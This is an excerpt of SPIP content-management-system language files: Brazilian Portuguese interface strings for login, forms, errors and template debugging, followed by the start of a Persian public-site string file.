'date_saison_1' => 'inverno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'verão',
'date_saison_4' => 'outono',
'date_secondes' => 'segundos',
'date_semaines' => 'semanas',
'date_un_mois' => 'mês',
'date_une_heure' => 'hora',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'segundo',
'date_une_semaine' => 'semana',
'dirs_commencer' => 'Para começar realmente a instalação',
'dirs_preliminaire' => 'Preliminar: <b>Configurar os direitos de acesso</b>',
'dirs_probleme_droits' => 'Problema com as permissões de acesso',
'dirs_repertoires_absents' => '<p><b>Os diretórios a seguir não foram encontrados:</b></p><ul>@bad_dirs@.</ul>
<p>É provável que isto se deva a um problema de letras em maiúsculas e minúsculas.
Verifique se as maiúsculas e minúsuculas destes diretórios coincidem exatamente com o que está sendo exibido abaixo; se este não for o caso, renomeie os diretórios com o seu programa de FTP de modo a corrigir o erro.
<p>Uma vêz feita esta manipulação, você poderá ',
'dirs_repertoires_suivants' => '<p><b>Os diretórios a seguir não estão acessiveis para leitura:</b></p><ul>@bad_dirs@.</ul>
<p>Para corrigir, utilize o seu programa de FTP para configurar os direitos de acesso de cada um destes diretórios. O procedimento está explicado em detalhes no guia de instalação.</p>
<p>Uma vêz feita esta alteração, você poderá ',
'double_occurrence' => 'Ocorrência dupla de @balise@',
// E
'en_cours' => 'em curso',
'envoi_via_le_site' => 'Envio pelo site',
'erreur' => 'Erro',
'erreur_balise_non_fermee' => 'Última tag em aberto:',
'erreur_technique_enregistrement_champs' => 'Um erro técnico impediu a gravação correta do campo @champs@.',
'erreur_technique_enregistrement_impossible' => 'Um erro técnico impediu a gravação.',
'erreur_texte' => 'erro(s)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'Arquivo @fichier@ não encontrado',
'form_auteur_confirmation' => 'Confirme o seu endereço de e-mail',
'form_auteur_email_modifie' => 'O seu endereço de e-mail foi alterado.',
'form_auteur_envoi_mail_confirmation' => 'Uma mensagem de confirmação acabou de ser enviada para @email@. Você precisa entrar no endereço web mencionado na mensagem para validar o seu endereço de e-mail.',
'form_auteur_mail_confirmation' => 'Olá,
Você pediu para alterar o seu endereço de e-mail
Para confirmar o seu novo endereço, basta acessar o endereço abaixo (cas contrário, a sua solicitação será ignorada):
@url@
',
'form_deja_inscrit' => 'Você já está inscrito.',
'form_email_non_valide' => 'Seu endereço de e-mail não é válido.',
'form_forum_access_refuse' => 'Você não tem mais acesso a este site.',
'form_forum_bonjour' => 'Bom dia @nom@,',
'form_forum_confirmer_email' => 'Para confirmar o seu endereço de e-mail, clique neste link: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Este endereço de e-mail já está cadastrado, você pode usar a sua senha habitual.',
'form_forum_identifiant_mail' => 'Seu novo login foi enviado por e-mail.',
'form_forum_identifiants' => 'Identificadores pessoais',
'form_forum_indiquer_nom_email' => 'Informe aqui o seu nome endereço de e-mail. O seu identificador pessoal será enviado de imediato por correio eletrônico.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(esta é uma mensagem automática)',
'form_forum_pass' => 'senha:',
'form_forum_probleme_mail' => 'Problema de e-mail: o identificador não pôde ser enviado.',
'form_forum_voici1' => 'Estes são os seus identificadores para que você possa participar da vida do site "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Estes são os seus identificadores para que você possa propor matérias ao site "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Por favor, informe o seu endereço de e-mail.',
'form_indiquer_nom' => 'Por favor, informe o seu nome.',
'form_indiquer_nom_site' => 'Por favor, informe o nome do seu site.',
'form_pet_deja_enregistre' => 'Este site já está cadastrado',
'form_pet_signature_pasprise' => 'Sua assinatura não foi computada.',
'form_prop_confirmer_envoi' => 'Confirmar o envio',
'form_prop_description' => 'Descrição / comentário',
'form_prop_enregistre' => 'Sua proposta foi cadastrada, ela aparecerá online após ser validada pelos responsáveis deste site.',
'form_prop_envoyer' => 'Enviar uma mensagem',
'form_prop_indiquer_email' => 'Por favor, indique um endereço de e-mail válido',
'form_prop_indiquer_nom_site' => 'Por favor, informe o nome do site.',
'form_prop_indiquer_sujet' => 'Por favor, informe um assunto',
'form_prop_message_envoye' => 'Mensagem enviada',
'form_prop_non_enregistre' => 'Sua proposta não foi cadastrada.',
'form_prop_sujet' => 'Assunto',
'form_prop_url_site' => 'Endereço URL do site',
'forum_non_inscrit' => 'Você não está inscrito, ou o endereço ou a senha estão errados.',
'forum_par_auteur' => 'por @auteur@',
'forum_titre_erreur' => 'Erro...',
// I
'ical_texte_rss_articles' => 'O arquivo «backend» das matérias deste site encontra-se no endereço:',
'ical_texte_rss_articles2' => 'Você pode também obter os arquivos «backend» para as matérias de cada seção do site:',
'ical_texte_rss_breves' => 'Existe também um arquivo contendo as notas do site. Ao especificar um número de seção, você obterá unicamente as natos dessa seção.',
'icone_a_suivre' => 'Acompanhar',
'icone_admin_site' => 'Administração do site',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Matérias',
'icone_auteurs' => 'Autores',
'icone_brouteur' => 'Navegação rápida',
'icone_configuration_site' => 'Configuração',
'icone_configurer_site' => 'Configurar o seu site',
'icone_creer_nouvel_auteur' => 'Criar um novo autor',
'icone_creer_rubrique' => 'Criar uma seção',
'icone_creer_sous_rubrique' => 'Criar uma subseção',
'icone_deconnecter' => 'Desconectar-se',
'icone_discussions' => 'Discussões',
'icone_doc_rubrique' => 'Documentos das seções',
'icone_ecrire_article' => 'Escrever uma nova matéria',
'icone_edition_site' => 'Edição',
'icone_gestion_langues' => 'Gerenciamento de idiomas',
'icone_informations_personnelles' => 'Informações pessoais',
'icone_interface_complet' => 'interface completa',
'icone_interface_simple' => 'Interface simplificada',
'icone_maintenance_site' => 'Manutenção do site',
'icone_messagerie_personnelle' => 'Mensagens pessoais',
'icone_repartition_debut' => 'Exibir a repartição após o início',
'icone_rubriques' => 'Seções',
'icone_sauver_site' => 'Backup do site',
'icone_site_entier' => 'Todo o site',
'icone_sites_references' => 'Sites referenciados',
'icone_statistiques' => 'Estatísticas do site',
'icone_suivi_activite' => 'Acompanhar a vida do site',
'icone_suivi_actualite' => 'Evolução do site',
'icone_suivi_pettions' => 'Acompanhar / gerenciar as petições',
'icone_suivi_revisions' => 'Modificações das matérias',
'icone_supprimer_document' => 'Suprimir este documento',
'icone_supprimer_image' => 'Suprimir esta imagem',
'icone_tous_articles' => 'Todas as suas matérias',
'icone_tous_auteur' => 'Todos os autores',
'icone_tous_visiteur' => 'Todos os visitantes',
'icone_visiter_site' => 'Ver o site público',
'icone_voir_en_ligne' => 'Ver online',
'img_indisponible' => 'imagem indisponível',
'impossible' => 'impossível',
'info_a_suivre' => 'ACOMPANHAR»',
'info_acces_interdit' => 'Acesso interdito',
'info_acces_refuse' => 'Acesso recusado',
'info_action' => 'Ação: @action@',
'info_administrer_rubriques' => 'Você pode administrar esta seção e suas subseções',
'info_adresse_non_indiquee' => 'Você não informou o endereço a testar!',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Incluir esta palavra',
'info_annonce' => 'AVISO',
'info_annonces_generales' => 'Avisos gerais:',
'info_article_propose' => 'Matéria proposta',
'info_article_publie' => 'Matéria publicada',
'info_article_redaction' => 'Matéria em fase de redação',
'info_article_refuse' => 'Matéria recusada',
'info_article_supprime' => 'Matéria suprimida',
'info_articles' => 'Matérias',
'info_articles_a_valider' => 'As matérias para validar',
'info_articles_nb' => '@nb@ matérias',
'info_articles_proposes' => 'Matérias propostas',
'info_articles_un' => '1 matéria',
'info_auteurs_nombre' => 'autor(es):',
'info_authentification_ftp' => 'Autenticação (por FTP).',
'info_breves_2' => 'notas',
'info_breves_nb' => '@nb@ notas',
'info_breves_un' => '1 nota',
'info_connexion_refusee' => 'Conexão recusada',
'info_contact_developpeur' => 'Por favor, contate um desenvolvedor.',
'info_contenance' => 'Este site contém:',
'info_contribution' => 'contribuições',
'info_copyright' => '@spip@ é um software livre distribuído @lien_gpl@.',
'info_copyright_doc' => 'Para mais informações, veja o site <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sob licença GPL',
'info_cours_edition' => 'Em fase de redação',
'info_creer_repertoire' => 'Por favor, crie um arquivo ou diretório com o nome:',
'info_creer_repertoire_2' => 'dentro do subdiretório <b>@repertoire@</b>, e depois:',
'info_creer_vignette' => 'criação automática do ícone',
'info_creerdansrubrique_non_autorise' => 'Você não tem permissão para criar um conteúdo nesta seção',
'info_deplier' => 'Expandir',
'info_descriptif_nombre' => 'descrição(ões):',
'info_description' => 'Resumo:',
'info_description_2' => 'Resumo:',
'info_dimension' => 'Dimensões:',
'info_documents_nb' => '@nb@ documentos',
'info_documents_un' => '1 documento',
'info_ecire_message_prive' => 'Escrever uma mensagem privada',
'info_email_invalide' => 'Endereço de e-mail inválido.',
'info_en_cours_validation' => 'Suas matérias em fase de redação',
'info_en_ligne' => 'Atualmente online:',
'info_envoyer_message_prive' => 'Enviar uma mensagem privada a este autor',
'info_erreur_requete' => 'Erro na requisição:',
'info_erreur_squelette2' => 'Nenhum template <b>@fichier@</b> está disponível...',
'info_erreur_systeme' => 'Erro do sistema (errno @errsys@)',
'info_erreur_systeme2' => 'É possível que não haja espaço livre em disco, ou que a base de dados esteja corrompida.<br />
<span style="color:red;">Tente <a href=\'@script@\'>reparar a base</a>, ou contate o seu serviço de hospedagem.</span>',
'info_fini' => 'Terminou!',
'info_format_image' => 'Formatos das imagens que podem ser utilizados para criar os ícones @gd_formats@.',
'info_format_non_defini' => 'formato não definido',
'info_grand_ecran' => 'Alta resolução',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Método de criação dos ícones',
'info_impossible_lire_page' => '<b>Erro!</b> Impossível ler a página <tt><html>@test_proxy@</html></tt> via proxy',
'info_installation_systeme_publication' => 'Instalação do sistema de publicação...',
'info_installer_documents' => 'Você pode instalar automaticamente todos os documentos contídos no diretório @upload@.',
'info_installer_ftp' => 'Como administrador, você pode transferir (por FTP) arquivos para o diretório @upload@ para, em seguida, selecioná-los aqui diretamente.',
'info_installer_images' => 'Você pode transferir imagens nos formatos JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Transferir as imagens para o diretório @upload@ para poder selecioná-las aqui.',
'info_interface_complete' => 'interface completa',
'info_interface_simple' => 'Interface simplificada',
'info_joindre_document_article' => 'Você pode anexar a esta matéria documentos dos tipos a seguir',
'info_joindre_document_rubrique' => 'Você pode anexar a esta seção documentos dos tipos a seguir',
'info_joindre_documents_article' => 'Você pode anexar à sua matéria documentos dos tipos a seguir:',
'info_l_article' => 'a matéria',
'info_la_breve' => 'a nota',
'info_la_rubrique' => 'a seção',
'info_langue_principale' => 'Idioma principal do site',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'por @les_auteurs@',
'info_logo_format_interdit' => 'Apenas os ícones nos formatos @formats@ estão autorizados.',
'info_logo_max_poids' => 'Os ícones devem obrigatoriamente ter menos de @maxi@ (este arquivo tem @actuel@).',
'info_mail_fournisseur' => 'voce@seudominio.com.br',
'info_message_2' => 'MENSAGEM',
'info_message_supprime' => 'MENSAGEM EXCLUÍDA',
'info_messages_nb' => '@nb@ mensagens',
'info_messages_un' => '1 mensagem',
'info_mise_en_ligne' => 'Data de publicação online:',
'info_modification_parametres_securite' => 'modificações dos parâmetros de segurança',
'info_mois_courant' => 'No mês corrente:',
'info_mot_cle_ajoute' => 'A palavra-chave a seguir foi associada a',
'info_multi_herit' => 'Idioma padrão',
'info_multi_langues_soulignees' => 'Os <u>idiomas sublinhados</u> dispõem de tradução total ou parcial dos textos da interface. Se você escolher esses idiomas, diversos elementos do site público (datas, formulários) são traduzidos automaticamente. Para os idiomas não sublinhados, estes elementos aparecerão no idioma principal do site.',
'info_multilinguisme' => 'Multilinguismo',
'info_nom_non_utilisateurs_connectes' => 'Seu nome não aparece na relação de usuários conectados.',
'info_nom_utilisateurs_connectes' => 'Seu nome aparecerá na relação de usuários conectados.',
'info_nombre_en_ligne' => 'Online neste momento:',
'info_non_resultat' => 'Nenhum resultados para "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Você não utiliza o sistema de mensagens deste site.',
'info_nouveau_message' => 'VOCÊ TEM UMA NOVA MENSAGEM',
'info_nouveaux_messages' => 'VOCÊ TEM @total_messages@ MENSAGENS NOVAS',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Esta informação é obrigatória',
'info_pense_bete' => 'LEMBRETE',
'info_petit_ecran' => 'Baixa resolução',
'info_petition_close' => 'Petição fechada',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Várias palavras-chave encontradas para "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfólio automático:',
'info_premier_resultat' => '[@debut_limit@ primeiros resultados de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primeiros resultados de @total@]',
'info_propose_1' => '[@nom_site_spip@] Propõe: @titre@',
'info_propose_2' => 'Matéria proposta
----------------',
'info_propose_3' => 'A matéria "@titre@" foi proposta para publicação.',
'info_propose_4' => 'Você está convidado a consultá-la e dar sua opinião',
'info_propose_5' => 'no fórum a ela anexado. Ela está disponível no endereço:',
'info_publie_01' => 'A matéria "@titre@" foi validada por @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICADO: @titre@',
'info_publie_2' => 'Matéria publicada
-----------------',
'info_rechercher' => 'Procurar',
'info_rechercher_02' => 'Procurar:',
'info_remplacer_vignette' => 'Substituir o ícone padrão por um logo personalizado:',
'info_rubriques_nb' => '@nb@ seções',
'info_rubriques_un' => '1 seção',
'info_sans_titre_2' => 'sem título',
'info_selectionner_fichier' => 'Você pode escolher um arquivo do diretório @upload@',
'info_selectionner_fichier_2' => 'Selecionar um arquivo:',
'info_sites_nb' => '@nb@ sites',
'info_sites_un' => '1 site',
'info_supprimer_vignette' => 'excluir o ícone',
'info_symbole_bleu' => 'O ícone <b>azul</b> indica um <b>lembrete</b>: ou seja, uma mensagem para seu uso pessoal.',
'info_symbole_jaune' => 'O ícone <b>amarelo</b> indica um <b>anúncio para todos os redatores</b>: modificável por todos os administradores, e visível por todos os redatores.',
'info_symbole_vert' => 'O ícone <b>verde</b> indica as <b>mensagens trocadas com outros usuários</b> do site.',
'info_telecharger_nouveau_logo' => 'Transferir um novo logo:',
'info_telecharger_ordinateur' => 'Tranferir do seu computador:',
'info_tous_resultats_enregistres' => '[todos os resultados são gravados]',
'info_tout_afficher' => 'Mostrar todas',
'info_travaux_texte' => 'Este site ainda não está configurado. Volte mais tarde...',
'info_travaux_titre' => 'Site em manutenção',
'info_trop_resultat' => 'Resultados de mais para "@cherche_mot@"; por favor, refine a busca.',
'info_utilisation_messagerie_interne' => 'Você usa o sistema interno de mensagens deste site.',
'info_valider_lien' => 'validar este link',
'info_verifier_image' => ', verifique se as suas imagens foram transferidas corretamente.',
'info_vignette_defaut' => 'Ícone padrão',
'info_vignette_personnalisee' => 'Ícone personalizado',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'Seus encontros futuros',
'infos_vos_pense_bete' => 'Seus lembretes',
// L
'label_ajout_id_rapide' => 'Ajuda rápida',
'label_poids_fichier' => 'Tamanho',
'lien_afficher_icones_seuls' => 'Exibir apenas os ícones',
'lien_afficher_texte_icones' => 'Exibir ícones e texto',
'lien_afficher_texte_seul' => 'Exibir apenas o texto',
'lien_liberer' => 'liberar',
'lien_liberer_tous' => 'liberar todas',
'lien_nouvea_pense_bete' => 'NOVO LEMBRETE',
'lien_nouveau_message' => 'NOVA MENSAGEM',
'lien_nouvelle_annonce' => 'NOVO ANÚNCIO',
'lien_petitions' => 'PETIÇÃO',
'lien_popularite' => 'popularidade: @popularite@%',
'lien_racine_site' => 'RAIZ DO SITE',
'lien_reessayer' => 'tente novamente',
'lien_repondre_message' => 'Responder a esta mensagem',
'lien_supprimer' => 'excluir',
'lien_tout_afficher' => 'Mostrar tudo',
'lien_visite_site' => 'visitar este site',
'lien_visites' => '@visites@ visitas',
'lien_voir_auteur' => 'Ver este autor',
'ligne' => 'Linha',
'login' => 'Conexão',
'login_acces_prive' => 'acesso ao espaço privado',
'login_autre_identifiant' => 'conectar-se com outra identificação',
'login_cookie_accepte' => 'Por favor, configure o seu navegador para aceitá-los (pelo menos para este site).',
'login_cookie_oblige' => 'Para você se identificar de modo seguro neste site, você precisa aceitar cookies.',
'login_deconnexion_ok' => 'Desconexão efetuada.',
'login_erreur_pass' => 'Erro de senha.',
'login_espace_prive' => 'espaço privado',
'login_identifiant_inconnu' => 'O identificador « @login@ » não está cadastrado.',
'login_login' => 'Login:',
'login_login2' => 'Login',
'login_login_pass_incorrect' => '(Login ou senha incorreta.)',
'login_motpasseoublie' => 'esqueceu sua senha?',
'login_non_securise' => 'Atenção, este formulário não é seguro.
Se você não quiser que a sua senha possa ser interceptada na rede, por favor ative o Javascript no seu navegador e',
'login_nouvelle_tentative' => 'Tentar novamente',
'login_par_ici' => 'VocÊ está registrado... por aqui...',
'login_pass2' => 'Senha:',
'login_preferez_refuser' => '<b>Se você prefere recusar os cookies</b>, um outro método de conexão (menos seguro) está disponível:',
'login_recharger' => 'atualizar esta página',
'login_rester_identifie' => 'Manter-se identificado por alguns dias',
'login_retour_public' => 'Voltar ao site público',
'login_retour_site' => 'Voltar ao site público',
'login_retoursitepublic' => 'voltar ao site público',
'login_sans_cookiie' => 'Identificação sem cookie',
'login_securise' => 'Login seguro',
'login_sinscrire' => 'cadastrar-se',
'login_test_navigateur' => 'testar navegador/reconexão',
'login_verifiez_navigateur' => '(Verifique sempre se o seu navegador não está memorizando a sua senha...)',
// M
'masquer_colonne' => 'Ocultar esta coluna',
'masquer_trad' => 'esconder as traduções',
'module_fichiers_langues' => 'Arquivos de idioma',
// N
'navigateur_pas_redirige' => 'Se o seu navegador não o redirecionar, clique aqui para continuar.',
'numero' => 'Número',
// O
'occurence' => 'Ocorrência',
'onglet_affacer_base' => 'Apagar a base',
'onglet_auteur' => 'O autor',
'onglet_contenu_site' => 'Conteúdo do site',
'onglet_evolution_visite_mod' => 'Evolução',
'onglet_fonctions_avances' => 'Funções avançadas',
'onglet_informations_personnelles' => 'Informações pessoais',
'onglet_interactivite' => 'Interatividade',
'onglet_messagerie' => 'Sistema de mensagens',
'onglet_repartition_rubrique' => 'Repartição por seções',
'onglet_save_restaur_base' => 'Fazer cópia de segurança/restaurar a base',
'onglet_vider_cache' => 'Esvaziar o cache',
// P
'pass_choix_pass' => 'Por favor, escolha a sua nova senha:',
'pass_erreur' => 'Erro',
'pass_erreur_acces_refuse' => '<b>Erro:</b> você não tem mais acesso a este site.',
'pass_erreur_code_inconnu' => '<b>Erro:</b> este login não corresponde a nenhum visitante com permissão de acesso a este site.',
'pass_erreur_non_enregistre' => '<b>Erro:</b> o e-mail <tt>@email_oubli@</tt> não está cadastrado neste site.',
'pass_erreur_non_valide' => '<b>Erro:</b> o e-mail <tt>@email_oubli@</tt> não é válido!',
'pass_erreur_probleme_technique' => '<b>Erro:</b> este e-mail não pôde ser enviado devido a um problema técnico.',
'pass_espace_prive_bla' => 'O espaço privado deste site é aberto aos visitantes, após inscrição. Uma vez cadastrado, você poderá consultar as matérias em fase de redação, propor a publicação de novas matérias e participar de todos os fóruns.',
'pass_forum_bla' => 'Você soliciou a participação num fórum reservado a visitantes registrados.',
'pass_indiquez_cidessous' => 'Informe abaixo o endereço de e-mail com o qual você se cadastrou anteriormente. Você receberá um e-mail lhe indicando os procedimentos a seguir para recuperar o seu acesso.',
'pass_mail_passcookie' => '(esta é uma mensagem automática)
Para recuperar o seu acesso ao site
@nom_site_spip@ (@adresse_site@)
clique por favor no endereço a seguir:
@sendcookie@
Você poderá então cadastrar uma nova senha
e reconectar-se com o site.
',
'pass_mot_oublie' => 'Senha esquecida',
'pass_nouveau_enregistre' => 'Sua nova senha foi cadastrada.',
'pass_nouveau_pass' => 'Nova senha',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Esquecimento de senha',
'pass_procedure_changer' => 'Para alterar a sua senha, é necessário verificar a sua identidade. Para isso, informe o endereço de e-mail associado a esta sua conta.',
'pass_quitter_fenetre' => 'Fechar esta janela',
'pass_rappel_login' => 'Lembrete: seu login é «@login@».',
'pass_recevoir_mail' => 'Você receberá um e-mail explicando como você pode recuperar o acesso ao site.',
'pass_retour_public' => 'Voltar para o site público',
'pass_rien_a_faire_ici' => 'Nada a fazer aqui.',
'pass_vousinscrire' => 'Cadastrar-se neste site',
'precedent' => 'precedente',
'previsualisation' => 'Visualização',
'previsualiser' => 'Visualizar',
// R
'retour' => 'Voltar',
// S
'spip_conforme_dtd' => 'O SPIP considera este documento de acordo com o seu DOCTYPE:',
'squelette' => 'template',
'squelette_inclus_ligne' => 'template incluído, linha',
'squelette_ligne' => 'template, linha',
'stats_visites_et_popularite' => '@visites@ visitas; popularidade: @popularite@',
'suivant' => 'seguinte',
// T
'taille_go' => '@taille@ GB',
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => ' @taille@ bytes',
'texte_actualite_site_1' => 'Quando você estiver mais familiarizado com a interface, clique em «',
'texte_actualite_site_2' => 'interface completa',
'texte_actualite_site_3' => '» para abrir mais possibilidades.',
'texte_creation_automatique_vignette' => 'A criação automática de ícones de visualização está ativada neste site. Se você transferir por este formulário imagens no(s) formato(s) @gd_formats@, elas serão acompanhadas de um ícone com o tamanho máximo de @taille_preview@ pixels.',
'texte_documents_associes' => 'Os documentos a seguir estão associados à matéria,
mas eles não foram inseridos diretamente. Dependendo da elaboração dos templates do site público, eles podem aparecer como documentos anexados.',
'texte_erreur_mise_niveau_base' => 'Erro da base de dados durante a atualização.
A imagem <b>@fichier@</b> não passou (matéria @id_article@).
Anote esta referência, tente novamente a atualização e, finalmente, verifique se as imagens aparecem nas matérias.',
'texte_erreur_visiteur' => 'Você tentou acessar o espaço restrito com um login que não tem a permissão necessária.',
'texte_inc_auth_1' => 'Você se identificou com o login <b>@auth_login@</b>, mas ele não consta (mais) na base.
Tente se',
'texte_inc_auth_2' => 'reconectar',
'texte_inc_auth_3' => ', após ter eventualmente saído e reiniciado o seu navegador.',
'texte_inc_config' => 'As modificações efetuadas nestas páginas influem consideravelmente no funcionamento do seu site. É recomendável não intervir enquanto você não estiver familiarizado com o funcionamento do sistema SPIP.<br /><br /><b>Geralmente, é fortemente aconselhável deixar a carga destas páginas para o webmaster principal do seu site.</b>',
'texte_inc_meta_1' => 'O sistema encontrou um erro durante a escrita do arquivo <code>@fichier@</code>. Como administrador do site, queira por favor,',
'texte_inc_meta_2' => 'Verificar os direitos de escrita',
'texte_inc_meta_3' => 'no diretório <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'em fase de redação',
'texte_statut_poubelle' => 'na lixeira',
'texte_statut_propose_evaluation' => 'proposto para avaliação',
'texte_statut_publie' => 'publicado online',
'texte_statut_refuse' => 'recusado',
'titre_ajouter_mot_cle' => 'INCLUIR UMA PALAVRA-CHAVE:',
'titre_cadre_raccourcis' => 'ATALHOS:',
'titre_changer_couleur_interface' => 'Alterar a côr da interface',
'titre_image_admin_article' => 'Você pode administrar esta matéria',
'titre_image_administrateur' => 'Administrador',
'titre_image_aide' => 'Ajuda sobre este elemento',
'titre_image_auteur_supprime' => 'Autor excluído',
'titre_image_redacteur' => 'Redator sem acesso',
'titre_image_redacteur_02' => 'Redator',
'titre_image_visiteur' => 'Visitante',
'titre_joindre_document' => 'INCLUIR UM DOCUMENTO',
'titre_mots_cles' => 'PALAVRAS-CHAVE',
'titre_probleme_technique' => 'Atenção: um problema técnico (servidor SQL) impede o acesso a esta parte do site. Obrigado por sua compreenção.',
'titre_publier_document' => 'PUBLICAR UM DOCUMENTO NESTA SEÇÃO',
'titre_signatures_attente' => 'Assinaturas aguardando validação',
'titre_signatures_confirmees' => 'Assinaturas confirmadas',
'titre_statistiques' => 'Estatísticas do site',
'titre_titre_document' => 'Título do documento:',
'todo' => 'breve',
'trad_reference' => '(matéria das traduções)',
// Z
'zbug_balise_b_aval' => ': tag B colocada após BOUCLE',
'zbug_balise_inexistante' => 'Tag @balise@ mal declarada para @from@',
'zbug_balise_sans_argument' => 'Falta um arqumento na tag @balise@',
'zbug_boucle' => 'laço',
'zbug_boucle_recursive_undef' => 'Laço recursivo não definido: @nom@',
'zbug_calcul' => 'cálculo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fora do laço',
'zbug_champ_hors_motif' => 'Campo @champ@ fora de um contexto @motif@',
'zbug_code' => 'código',
'zbug_critere_inconnu' => 'Critério @critere@ desconhecido',
'zbug_distant_interdit' => 'Externa interdita',
'zbug_doublon_table_sans_cle_primaire' => 'Duplicação em tabela sem chave primária atômica',
'zbug_doublon_table_sans_index' => 'Doublons em uma tabela sem index',
'zbug_erreur_boucle_double' => 'Dupla definição do laço @id@',
'zbug_erreur_boucle_fermant' => 'Laço @id@ não fechado',
'zbug_erreur_boucle_syntaxe' => 'Sintaxe do laço @id@ está incorreta',
'zbug_erreur_compilation' => 'Erro de compilação',
'zbug_erreur_execution_page' => 'Erro de execução',
'zbug_erreur_filtre' => 'Filtro @filtre@ não definido',
'zbug_erreur_meme_parent' => 'O critério {meme_parent} aplica-se exclusivamente aos laços (FORUMS) ou (RUBRIQUES)',
'zbug_erreur_squelette' => 'Erro(s) no template',
'zbug_hors_compilation' => 'Fora de Compilação',
'zbug_info_erreur_squelette' => 'Erro no site',
'zbug_inversion_ordre_inexistant' => 'Inversão de uma ordem inexistente',
'zbug_pagination_sans_critere' => 'Tag #PAGINATION sem critério {pagination} ou usada dentro de uma boucle recursiva',
'zbug_parametres_inclus_incorrects' => 'Parâmetro de inclusão incorreto: @param@',
'zbug_profile' => 'Tempo de processamento: @time@',
'zbug_resultat' => 'resultado',
'zbug_serveur_indefini' => 'Sevidor SQL não definido',
'zbug_statistiques' => 'Estatísticas das requisições SQL classificadas por duração',
'zbug_table_inconnue' => 'Tabela SQL «@table@» desconhecida',
'zxml_connus_attributs' => 'atributos conhecidos',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'atributo desconhecido',
'zxml_inconnu_balise' => 'tag desconhecida',
'zxml_inconnu_entite' => 'entidade desconhecida',
'zxml_inconnu_id' => 'ID desconhecida',
'zxml_mais_de' => 'mas de',
'zxml_non_conforme' => 'não está de acordo com o motivo',
'zxml_non_fils' => 'não é filho de',
'zxml_nonvide_balise' => 'tag não vazia',
'zxml_obligatoire_attribut' => 'atributo obrigatório mas ausente em',
'zxml_succession_fils_incorrecte' => 'sucessão de filhos incorreta',
'zxml_survoler' => 'sobrepor para ver os corretos',
'zxml_valeur_attribut' => 'valor do atributo',
'zxml_vide_balise' => 'tag vazia',
'zxml_vu' => 'previsualização'
);
?>
public_fa.php 0000666 00000011230 15252547432 0007213 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'پذيرش ',
'article' => 'مقاله',
'articles' => 'مقالهها',
'articles_auteur' => 'مقالههاى اين نويسنده',
'articles_populaires' => 'محبوب ترين مقالهها',
'articles_rubrique' => 'مقالههاى اين بخش',
'aucun_article' => 'مقالهاى با اين نشانى وجود ندارد',
'aucun_auteur' => ' نويسندهاى با اين نشانى وجود ندارد',
'aucun_site' => 'سايتى با اين نشانى وجود ندارد',
'aucune_breve' => 'خبري با اين نشانى وجود ندارد',
'aucune_rubrique' => 'بخشى بااين نشانى وجود ندارد',
'auteur' => 'نويسنده',
'autres' => 'نويسندگان',
'autres_breves' => 'خبرهاي ديگر',
'autres_groupes_mots_clefs' => 'گروههاى ديگر واژه كليدها',
'autres_sites' => ' سايتهاى ديگر',
// B
'bonjour' => 'سلام',
// C
'commenter_site' => 'اظهار نظر در مورد اين سايت',
'contact' => 'تماس',
'copie_document_impossible' => 'روبرداري از اين سند ناممكن است',
// D
'date' => 'تاريخ',
'dernier_ajout' => 'آخرين افزوده',
'dernieres_breves' => 'آخرين خبرها',
'derniers_articles' => 'آخرين مقالهها',
'derniers_commentaires' => 'آخرين نظرها',
'derniers_messages_forum' => 'آخرين پيامهاى منتشر شده در سخنگاهها',
// E
'edition_mode_texte' => 'ويرايش با شيوهي متن',
'en_reponse' => 'در پاسخ به:',
'en_resume' => 'خلاصه',
'envoyer_message' => 'فرستادن پيام',
'espace_prive' => 'قسمت شخصى',
// F
'formats_acceptes' => 'فرمتهاي مورد قبول:@formats@. ',
// H
'hierarchie_site' => 'سلسله مراتب سايت',
// J
'jours' => 'روزها',
// L
'lien_connecter' => 'اتصال',
// M
'meme_auteur' => 'از همين نويسنده',
'meme_rubrique' => 'در همان بخش',
'memes_auteurs' => 'از همين نويسندگان',
'message' => 'پيام',
'messages_forum' => 'پيامها',
'messages_recents' => 'تازه ترين پيامهاى سخنگاه',
'mots_clef' => 'كليدواژه',
'mots_clefs' => 'واژه كليدها',
'mots_clefs_meme_groupe' => 'واژه كليدهاى يك گروه',
// N
'navigation' => 'شبكه نوردى',
'nom' => 'نام',
'nouveautes' => 'تازهها',
'nouveautes_web' => 'تازههاى وب',
'nouveaux_articles' => 'مقالههاى تازه',
'nouvelles_breves' => 'خبرهاى تازه',
// P
'page_precedente' => 'صفحه ى پيشين',
'page_suivante' => 'صفحهى بعدى',
'par_auteur' => 'بوسيلهى',
